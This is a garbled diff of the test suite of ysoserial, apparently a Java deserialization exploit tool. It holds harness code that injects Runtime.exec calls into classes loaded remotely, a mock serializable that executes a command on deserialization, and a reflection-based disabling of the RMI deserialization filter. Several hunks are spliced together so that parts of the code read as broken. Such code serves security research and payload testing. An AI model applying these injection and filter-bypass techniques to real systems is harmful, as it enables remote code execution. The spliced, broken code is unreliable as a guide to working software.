for (Class extra : (Class[]) method.invoke(null)) {
|
||||
addlClasses.put(extra.getName(), ClassFiles.classAsBytes(extra));
|
||||
}
|
||||
} catch (NoSuchMethodException e) {}
|
||||
|
||||
addlClasses.put(customDeserializer.getName(), ClassFiles.classAsBytes(customDeserializer));
|
||||
}
|
||||
|
||||
OpenURLClassLoader isolatedClassLoader = new OpenURLClassLoader(urls, null);
|
||||
for (Map.Entry<String, byte[]> e : addlClasses.entrySet()) {
|
||||
isolatedClassLoader.defineNewClass(e.getKey(), e.getValue());
|
||||
}
|
||||
|
||||
Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
|
||||
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
|
||||
|
||||
// set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
|
||||
return callWithContextClassLoader(isolatedClassLoader, deserializer);
|
||||
}
|
||||
|
||||
private static Object callWithContextClassLoader(ClassLoader classLoader, Callable<Object> callable) throws Exception {
|
||||
ClassLoader ccl = Thread.currentThread().getContextClassLoader();
|
||||
Thread.currentThread().setContextClassLoader(classLoader);
|
||||
try {
|
||||
return callable.call();
|
||||
} finally {
|
||||
Thread.currentThread().setContextClassLoader(ccl);
|
||||
}
|
||||
}
|
||||
|
||||
private static URL[] getDependencyUrls(String[] dependencies) throws MalformedURLException {
|
||||
File[] jars = dependencies.length > 0
|
||||
? Maven.configureResolver()
|
||||
// .workOffline(JavaVersion.getLocalVersion().major == 6) // use cached deps for java 1.6
|
||||
.withRemoteRepo("central", "https://repo1.maven.org/maven2/", "default")
|
||||
.withMavenCentralRepo(false)
|
||||
.useLegacyLocalRepo(true)
|
||||
// .withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
|
||||
.withMavenCentralRepo(true)
|
||||
.withRemoteRepo("jenkins", "https://repo.jenkins-ci.org/public/", "default")
|
||||
.resolve(dependencies).withoutTransitivity().asFile()
|
||||
: new File[0];
|
||||
URL[] urls = new URL[jars.length];
|
||||
for ( int i = 0; i < jars.length; i++ ) {
|
||||
urls[ i ] = jars[ i ].toURI().toURL();
|
||||
}
|
||||
return urls;
|
||||
|
||||
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {
|
||||
|
||||
{
|
||||
for ( Class<?> clazz : classDependencies ) {
|
||||
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
|
||||
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
|
||||
}
|
||||
byte[] deserializerClassBytes = ClassFiles.classAsBytes(Deserializer.class);
|
||||
defineClass(Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
|
||||
if ( customDeserializer != null ) {
|
||||
|
||||
try {
|
||||
Method method = customDeserializer.getMethod("getExtraDependencies");
|
||||
for ( Class extra : (Class[])method.invoke(null)) {
|
||||
deserializerClassBytes = ClassFiles.classAsBytes(extra);
|
||||
defineClass(extra.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
}
|
||||
} catch ( NoSuchMethodException e ) { }
|
||||
|
||||
deserializerClassBytes = ClassFiles.classAsBytes(customDeserializer);
|
||||
defineClass(customDeserializer.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
System.setProperty("https.protocols", "TLSv1,TLSv1.1,TLSv1.2");
|
||||
StdIoRedirection.init();
|
||||
Logging.init();
|
||||
}
|
||||
};
|
||||
|
||||
Class<?> deserializerClass = isolatedClassLoader.loadClass(customDeserializer != null ? customDeserializer.getName() : Deserializer.class.getName());
|
||||
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[ 0 ].newInstance(serialized);
|
||||
|
||||
ClassLoader ccl = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
// set CCL for Clojure https://groups.google.com/forum/#!topic/clojure/F3ERon6Fye0
|
||||
Thread.currentThread().setContextClassLoader(isolatedClassLoader);
|
||||
final Object obj = deserializer.call();
|
||||
return obj;
|
||||
} finally {
|
||||
Thread.currentThread().setContextClassLoader(ccl);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
|
||||
JUnitCore junit = new JUnitCore();
|
||||
PayloadListener listener = new PayloadListener();
|
||||
junit.addListener(listener);
|
||||
Result result = junit.run(PayloadsTest.class);
|
||||
System.exit(isForceTests() ? 0 : (result.wasSuccessful() ? 0 : 1));
|
||||
System.exit(result.wasSuccessful() ? 0 : 1);
|
||||
}
|
||||
|
||||
public static class StdIo {
|
||||
|
||||
private static final PrintStream realOut = System.out;
|
||||
private static final PrintStream realErr = System.err;
|
||||
|
||||
public static void restoreStreams() {
|
||||
setStreams(realOut, realErr);
|
||||
}
|
||||
|
||||
public static void setStreams(PrintStream out, PrintStream err) {
|
||||
System.setOut(out);
|
||||
System.setErr(err);
|
||||
}
|
||||
|
||||
public static void setStreams(OutputStream out, OutputStream err) {
|
||||
setStreams(new PrintStream(out), new PrintStream(err));
|
||||
}
|
||||
}
|
||||
|
||||
public static class PayloadListener extends RunListener {
|
||||
public enum Status {
|
||||
SUCCESS,
|
||||
FAILURE,
|
||||
IGNORE,
|
||||
ASSUMPTION_FAILURE
|
||||
}
|
||||
|
||||
private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
|
||||
private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
|
||||
|
||||
private Map<Description, Status> statuses = new HashMap<Description, Status>();
|
||||
|
||||
private Map<Description, Failure> failures = new HashMap<Description, Failure>();
|
||||
|
||||
@Override
|
||||
public void testStarted(Description description) throws Exception {
|
||||
System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
|
||||
|
||||
statuses.put(description, Status.SUCCESS);
|
||||
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
// ByteArrayOutputStream err = new ByteArrayOutputStream();
|
||||
|
||||
outs.put(description, out);
|
||||
// errs.put(description, err);
|
||||
|
||||
StdIo.setStreams(out, out);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testFinished(Description description) throws Exception {
|
||||
outs.get(description).close();
|
||||
//errs.get(description).close();
|
||||
|
||||
StdIo.restoreStreams();
|
||||
|
||||
Status status = statuses.get(description);
|
||||
System.out.println(getPayload(description.getDisplayName()) + ": " + status);
|
||||
if (status == Status.FAILURE) System.err.println(outs.get(description).toString());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testFailure(Failure failure) throws Exception {
|
||||
statuses.put(failure.getDescription(), Status.FAILURE);
|
||||
failures.put(failure.getDescription(), failure);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testAssumptionFailure(Failure failure) {
|
||||
statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
|
||||
failures.put(failure.getDescription(), failure);
|
||||
}
|
||||
|
||||
// testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
|
||||
public static String getPayload(String displayName) {
|
||||
return displayName.replaceAll(".*\\[\\S+: class (\\w+\\.)+(\\w+)\\].*", "$2");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,45 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import org.junit.Assert;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Files;
|
||||
import ysoserial.test.util.OS;
|
||||
import ysoserial.test.util.Randomized;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class PythonUploadExecTest implements CustomTest {
|
||||
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
|
||||
private final File srcPyFile = new File(OS.getTmpDir(), "ysoserial-test-src-" + Randomized.randUUID() + ".py");
|
||||
private final File dstPyFile = new File(OS.getTmpDir(), "ysoserial-test-dst-" + Randomized.randUUID() + ".py");
|
||||
private final String testCode = "open('" + testFile + "','w').close()";
|
||||
|
||||
{
|
||||
Files.writeFile(srcPyFile, testCode);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertTrue("test src file should exist", srcPyFile.exists());
|
||||
|
||||
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||
try {
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Files.waitForFile(testFile, 5000);
|
||||
Assert.assertTrue("test dst file should exist", dstPyFile.exists());
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
testFile.deleteOnExit();
|
||||
srcPyFile.deleteOnExit();
|
||||
dstPyFile.deleteOnExit();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return srcPyFile + ";" + dstPyFile;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -4,6 +4,7 @@ package ysoserial.test.payloads;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.Serializable;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
import fi.iki.elonen.NanoHTTPD;
|
||||
@@ -11,21 +12,24 @@ import fi.iki.elonen.NanoHTTPD.Response.Status;
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import ysoserial.payloads.C3P0;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.WrappedTest;
|
||||
import ysoserial.test.util.Randomized;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTest, CustomTest {
|
||||
public class RemoteClassLoadingTest implements WrappedTest {
|
||||
|
||||
private int port = Randomized.randPort();
|
||||
int port;
|
||||
private String command;
|
||||
private String className;
|
||||
|
||||
private String className = "Exploit-" + System.currentTimeMillis();
|
||||
public RemoteClassLoadingTest ( String command ) {
|
||||
this.command = command;
|
||||
this.port = new Random().nextInt(65535-1024)+1024;
|
||||
this.className = "Exploit-" + System.currentTimeMillis();
|
||||
}
|
||||
|
||||
|
||||
public String getPayloadArgs () {
|
||||
@@ -50,12 +54,7 @@ public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTe
|
||||
pool.insertClassPath(new ClassClassPath(Exploit.class));
|
||||
final CtClass clazz = pool.get(Exploit.class.getName());
|
||||
clazz.setName(this.className);
|
||||
clazz.makeClassInitializer().insertAfter(
|
||||
"java.lang.Runtime.getRuntime().exec(\""
|
||||
+ getTouchCmd(testFile.toString())
|
||||
.replace("\\", "\\\\")
|
||||
.replace("\"", "\\\"")
|
||||
+ "\");");
|
||||
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");");
|
||||
return clazz.toBytecode();
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
@@ -123,10 +122,6 @@ public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTe
|
||||
}
|
||||
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(C3P0.class);
|
||||
}
|
||||
|
||||
|
||||
public static class Exploit implements Serializable {
|
||||
|
||||
|
||||
@@ -1,39 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.junit.Assert;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Files;
|
||||
import ysoserial.test.util.OS;
|
||||
import ysoserial.test.util.Randomized;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.File;
|
||||
import java.io.FileReader;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class SimpleFileWriteTest implements CustomTest {
|
||||
private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
|
||||
private final String testContent = Randomized.randUUID();
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
Assert.assertFalse("test file should not exist", testFile.exists());
|
||||
try {
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Files.waitForFile(testFile, 5000);
|
||||
Assert.assertTrue("test file should exist", testFile.exists());
|
||||
String testFileContent = new BufferedReader(new FileReader(testFile)).readLine();
|
||||
Assert.assertEquals(testContent.trim(), testFileContent.trim());
|
||||
testFile.deleteOnExit();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return testFile.toString() + ";" + Base64.encodeBase64String(testContent.getBytes());
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import com.sun.net.httpserver.HttpExchange;
|
||||
import com.sun.net.httpserver.HttpHandler;
|
||||
import com.sun.net.httpserver.HttpServer;
|
||||
import org.junit.Assert;
|
||||
import ysoserial.payloads.Scala;
|
||||
import ysoserial.test.CustomTest;
|
||||
import ysoserial.test.util.Randomized;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
import java.util.Random;
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class SsrfTest implements CustomTest {
|
||||
int port = Randomized.randPort();
|
||||
String authority = "http://localhost:" + port;
|
||||
String uri = "/?" + Randomized.randUUID();
|
||||
|
||||
@Override
|
||||
public String getPayloadArgs() {
|
||||
return authority + uri;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run(Callable<Object> payload) throws Exception {
|
||||
final List<String> uris = new LinkedList<String>();
|
||||
HttpServer server = HttpServer.create(new InetSocketAddress("127.0.0.1", port), 0);
|
||||
server.createContext("/", new HttpHandler() {
|
||||
@Override
|
||||
public void handle(HttpExchange exchange) throws IOException {
|
||||
System.out.println(exchange.getRequestURI());
|
||||
uris.add(exchange.getRequestURI().toString());
|
||||
exchange.sendResponseHeaders(200, 0);
|
||||
exchange.close();
|
||||
}
|
||||
});
|
||||
server.start();
|
||||
try {
|
||||
try {
|
||||
payload.call();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
Assert.assertTrue(uris.contains(uri));
|
||||
} finally {
|
||||
server.stop(0);
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(Scala.ScalaSsrf.class, new Class[0]);
|
||||
}
|
||||
}
|
||||
@@ -1,52 +0,0 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import java.util.HashMap;
|
||||
|
||||
import com.opensymphony.xwork2.ActionContext;
|
||||
import com.opensymphony.xwork2.config.Configuration;
|
||||
import com.opensymphony.xwork2.config.ConfigurationManager;
|
||||
import com.opensymphony.xwork2.config.providers.XWorkConfigurationProvider;
|
||||
import com.opensymphony.xwork2.inject.Container;
|
||||
|
||||
import ysoserial.Deserializer;
|
||||
import ysoserial.payloads.Struts2JasperReports;
|
||||
import ysoserial.test.CustomDeserializer;
|
||||
|
||||
public class Struts2JasperReportsTest extends CommandExecTest implements CustomDeserializer {
|
||||
|
||||
@Override
|
||||
public Class<?> getCustomDeserializer() {
|
||||
return StrutsJasperReportsDeserializer.class;
|
||||
}
|
||||
|
||||
/**
|
||||
* need to use a custom deserializer so that the action context gets set in the isolated class
|
||||
*
|
||||
* @author sciccone
|
||||
*
|
||||
*/
|
||||
public static final class StrutsJasperReportsDeserializer extends Deserializer {
|
||||
|
||||
public StrutsJasperReportsDeserializer(byte[] bytes) {
|
||||
super(bytes);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object call () throws Exception {
|
||||
ConfigurationManager configurationManager = new ConfigurationManager(Container.DEFAULT_NAME);
|
||||
configurationManager.addContainerProvider(new XWorkConfigurationProvider());
|
||||
Configuration config = configurationManager.getConfiguration();
|
||||
Container container = config.getContainer();
|
||||
|
||||
HashMap<String, Object> context = new HashMap<String, Object>();
|
||||
context.put(ActionContext.CONTAINER, container);
|
||||
ActionContext.setContext(new ActionContext(context));
|
||||
return super.call();
|
||||
}
|
||||
}
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
PayloadsTest.testPayload(Struts2JasperReports.class);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,12 +1,12 @@
|
||||
package ysoserial.test.payloads;
|
||||
|
||||
import java.io.*;
|
||||
import java.util.Arrays;
|
||||
import java.io.IOException;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.Serializable;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.Assert;
|
||||
import org.junit.Test;
|
||||
import ysoserial.Strings;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
|
||||
public class TestHarnessTest {
|
||||
@@ -53,20 +53,10 @@ public class TestHarnessTest {
|
||||
|
||||
@SuppressWarnings("serial")
|
||||
public static class ExecMockSerializable implements Serializable {
|
||||
// static {
|
||||
// try {
|
||||
// printLoad(ExecMockSerializable.class);
|
||||
// printStackTrace();
|
||||
// } catch (Throwable e) {
|
||||
// e.printStackTrace();
|
||||
// }
|
||||
// }
|
||||
private final String cmd;
|
||||
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
|
||||
|
||||
private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||
// printStackTrace();
|
||||
// printLoad(ExecMockSerializable.class);
|
||||
ois.defaultReadObject();
|
||||
try {
|
||||
Runtime.getRuntime().exec(cmd);
|
||||
@@ -75,20 +65,4 @@ public class TestHarnessTest {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void printStackTrace() {
|
||||
StringWriter sw = new StringWriter();
|
||||
new Throwable().printStackTrace(new PrintWriter(sw));
|
||||
String st = sw.toString();
|
||||
String[] lines = st.split("\n");
|
||||
lines[0] = "Stack Trace:";
|
||||
for (int i = 0; i < lines.length; i++) {
|
||||
lines[i] = "[" + Thread.currentThread().getName() + "] " + lines[i];
|
||||
}
|
||||
System.out.println(Strings.join(Arrays.asList(lines), "\n", null, null));
|
||||
}
|
||||
|
||||
public static void printLoad(Class<?> clazz) {
|
||||
System.out.println("[" + Thread.currentThread().getName() + "] " + "Loaded " + clazz + "@" + System.identityHashCode(clazz) + " from " + clazz.getClassLoader() + " with parent " + clazz.getClassLoader().getParent());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import java.util.concurrent.Callable;
|
||||
|
||||
public class Callables {
|
||||
public static interface BeforeAfterCallback {
|
||||
public void before();
|
||||
public void after();
|
||||
}
|
||||
|
||||
public static class Wrapper<T> implements Callable<T> {
|
||||
private final Callable<T> callable;
|
||||
private final BeforeAfterCallback callback;
|
||||
|
||||
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
|
||||
this.callable = callable;
|
||||
this.callback = callback;
|
||||
}
|
||||
|
||||
@Override
|
||||
public T call() throws Exception {
|
||||
try {
|
||||
callback.before();
|
||||
return callable.call();
|
||||
} finally {
|
||||
callback.after();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
|
||||
return new Wrapper<T>(callable, callback);
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,6 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.PrintWriter;
|
||||
|
||||
public class Files {
|
||||
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
|
||||
@@ -10,18 +9,4 @@ public class Files {
|
||||
Thread.sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
public static void writeFile(File file, String content) {
|
||||
try {
|
||||
PrintWriter writer = new PrintWriter(file, "UTF-8");
|
||||
writer.println(content);
|
||||
writer.close();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public static File getTestFile() {
|
||||
return new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import ysoserial.test.payloads.PayloadsTest;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.logging.LogManager;
|
||||
|
||||
public class Logging {
|
||||
public static void init() throws IOException {
|
||||
LogManager.getLogManager().readConfiguration(PayloadsTest.class.getResourceAsStream("/logging.properties"));
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import ysoserial.payloads.JRMPListener;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
|
||||
public class ObjectInputFilters {
|
||||
public static Object getAllowFilter() throws Exception {
|
||||
final Class<?> filterClass = loadFirstClass(
|
||||
"java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter");
|
||||
if (filterClass == null) {
|
||||
return null;
|
||||
}
|
||||
final Class<?> statusClass = Class.forName(filterClass.getName() + "$Status");
|
||||
return filterClass != null ? Proxy.newProxyInstance(
|
||||
JRMPListener.class.getClass().getClassLoader(),
|
||||
new Class[]{ filterClass },
|
||||
new InvocationHandler() {
|
||||
@Override
|
||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||
for (Enum<?> e : (Enum<?>[]) statusClass.getEnumConstants()) {
|
||||
if (e.name() == "ALLOWED") {
|
||||
return e;
|
||||
}
|
||||
}
|
||||
throw new RuntimeException("no matching enum");
|
||||
}
|
||||
}
|
||||
) : null;
|
||||
}
|
||||
|
||||
public static void disableDcgFilter() throws Exception {
|
||||
// disable ObjectInputFilter if defined
|
||||
Object filter = getAllowFilter();
|
||||
if (filter != null) {
|
||||
Field f = Reflections.getField(Class.forName("sun.rmi.transport.DGCImpl"), "dgcFilter");
|
||||
if (f != null) {
|
||||
f.set(null, filter);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Class<?> loadFirstClass(String ... classNames) {
|
||||
for (String className : classNames) {
|
||||
try {
|
||||
Class<?> clazz = Class.forName(className);
|
||||
return clazz;
|
||||
} catch (Exception e) {}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -1,14 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class OpenURLClassLoader extends URLClassLoader {
|
||||
public OpenURLClassLoader(URL[] urls, ClassLoader parent) {
|
||||
super(urls, parent);
|
||||
}
|
||||
|
||||
public Class<?> defineNewClass(String name, byte[] b) {
|
||||
return defineClass(name, b, 0, b.length);
|
||||
}
|
||||
}
|
||||
@@ -1,95 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import org.junit.runner.Description;
|
||||
import org.junit.runner.notification.Failure;
|
||||
import org.junit.runner.notification.RunListener;
|
||||
import ysoserial.Strings;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.util.*;
|
||||
|
||||
public class PayloadListener extends RunListener {
|
||||
public enum Status {
|
||||
SUCCESS,
|
||||
FAILURE,
|
||||
IGNORE,
|
||||
ASSUMPTION_FAILURE
|
||||
}
|
||||
|
||||
private Map<Description, ByteArrayOutputStream> outs = new HashMap<Description, ByteArrayOutputStream>();
|
||||
private Map<Description, ByteArrayOutputStream> errs = new HashMap<Description, ByteArrayOutputStream>();
|
||||
|
||||
private Map<Description, Status> statuses = new HashMap<Description, Status>();
|
||||
|
||||
private Map<Description, Failure> failures = new HashMap<Description, Failure>();
|
||||
|
||||
@Override
|
||||
public void testStarted(Description description) throws Exception {
|
||||
// System.out.println(getPayload(description.getDisplayName()) + ": STARTED");
|
||||
|
||||
statuses.put(description, Status.SUCCESS);
|
||||
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
// ByteArrayOutputStream err = new ByteArrayOutputStream();
|
||||
|
||||
outs.put(description, out);
|
||||
// errs.put(description, err);
|
||||
|
||||
StdIoRedirection.setStreams(out, out);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testFinished(Description description) throws Exception {
|
||||
outs.get(description).close();
|
||||
//errs.get(description).close();
|
||||
|
||||
StdIoRedirection.restoreStreams();
|
||||
|
||||
Status status = statuses.get(description);
|
||||
String payload = getPayload(description.getDisplayName());
|
||||
String out = outs.get(description).toString().trim();
|
||||
|
||||
Map<String,String> props = new HashMap<String, String>();
|
||||
props.put("payload", payload);
|
||||
props.put("status", status.toString());
|
||||
props.put("out", out);
|
||||
for (String k : Arrays.asList("java.version", "java.vendor", "java.vm.version", "java.runtime.version", "os.arch", "os.name", "os.version")) {
|
||||
props.put(k, System.getProperty(k));
|
||||
}
|
||||
|
||||
List<String> pairs = new ArrayList<String>();
|
||||
for (Map.Entry<String, String> e : props.entrySet()) {
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append("\"")
|
||||
.append(e.getKey().replace("\\", "\\\\").replace("\"", "\\\""))
|
||||
.append("\"")
|
||||
.append(": ")
|
||||
.append("\"")
|
||||
.append(e.getValue().replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t").replace("\b", "\\b"))
|
||||
.append("\"");
|
||||
pairs.add(sb.toString());
|
||||
}
|
||||
|
||||
String obj = "{" + Strings.join(pairs, ", ", "", "") + "}";
|
||||
|
||||
System.out.println(obj);
|
||||
// System.out.println(payload + ": " + status);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testFailure(Failure failure) throws Exception {
|
||||
statuses.put(failure.getDescription(), Status.FAILURE);
|
||||
failures.put(failure.getDescription(), failure);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void testAssumptionFailure(Failure failure) {
|
||||
statuses.put(failure.getDescription(), Status.ASSUMPTION_FAILURE);
|
||||
failures.put(failure.getDescription(), failure);
|
||||
}
|
||||
|
||||
// testPayload[payloadClass: class ysoserial.payloads.JavassistWeld1](ysoserial.test.payloads.PayloadsTest)
|
||||
public static String getPayload(String displayName) {
|
||||
return displayName.replaceAll(".*\\[\\S+: class (\\w+[.$])*(\\w+)\\].*", "$2");
|
||||
}
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.ServerSocket;
|
||||
import java.util.Random;
|
||||
import java.util.UUID;
|
||||
|
||||
public class Randomized {
|
||||
public static int randPort() {
|
||||
while (true) {
|
||||
int port = new Random().nextInt(65535 - 16384) + 16384;
|
||||
try {
|
||||
ServerSocket s = new ServerSocket(port);
|
||||
s.setReuseAddress(true);
|
||||
s.close();
|
||||
return port;
|
||||
} catch (IOException e) {}
|
||||
}
|
||||
}
|
||||
|
||||
public static String randUUID() {
|
||||
return UUID.randomUUID().toString().replaceAll("-", "");
|
||||
}
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import sun.net.spi.nameservice.NameService;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
import java.net.InetAddress;
|
||||
import java.net.UnknownHostException;
|
||||
import java.util.Collections;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
|
||||
public class RecordingNameService implements NameService {
|
||||
|
||||
private final List<String> lookups = new LinkedList<String>();
|
||||
|
||||
public List<String> getLookups() {
|
||||
return Collections.unmodifiableList(lookups);
|
||||
}
|
||||
|
||||
@Override
|
||||
public InetAddress[] lookupAllHostAddr(String host) throws UnknownHostException {
|
||||
lookups.add(host);
|
||||
throw new UnknownHostException();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getHostByAddr(byte[] addr) throws UnknownHostException {
|
||||
throw new UnknownHostException();
|
||||
}
|
||||
|
||||
public void install() throws Exception {
|
||||
getNameServices().add(this);
|
||||
}
|
||||
|
||||
public void uninstall() throws Exception {
|
||||
getNameServices().remove(this);
|
||||
}
|
||||
|
||||
private static List<NameService> getNameServices() throws Exception {
|
||||
return (List<NameService>) Reflections.getFieldValue(InetAddress.class, "nameServices");
|
||||
}
|
||||
}
|
||||
@@ -1,25 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import java.security.Permission;
|
||||
import java.util.Collections;
|
||||
import java.util.LinkedList;
|
||||
import java.util.List;
|
||||
|
||||
public class RecordingSecurityManager extends SecurityManager {
|
||||
private final List<Permission> checks = new LinkedList<Permission>();
|
||||
|
||||
public List<Permission> getChecks() {
|
||||
return Collections.unmodifiableList(checks);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPermission(Permission perm) {
|
||||
// System.err.println("check " + perm);
|
||||
checks.add(perm);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void checkPermission(Permission perm, Object context) {
|
||||
checkPermission(perm);
|
||||
}
|
||||
}
|
||||
@@ -1,67 +0,0 @@
|
||||
package ysoserial.test.util;
|
||||
|
||||
import javassist.util.proxy.MethodHandler;
|
||||
import javassist.util.proxy.ProxyFactory;
|
||||
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/*
|
||||
Replace System.out/err early-on with proxies that delegate to streams controlled here to ensure changes reflected
|
||||
even when references are saved by various writing/logging classes
|
||||
*/
|
||||
public class StdIoRedirection {
|
||||
|
||||
private static final PrintStream realOut = System.out;
|
||||
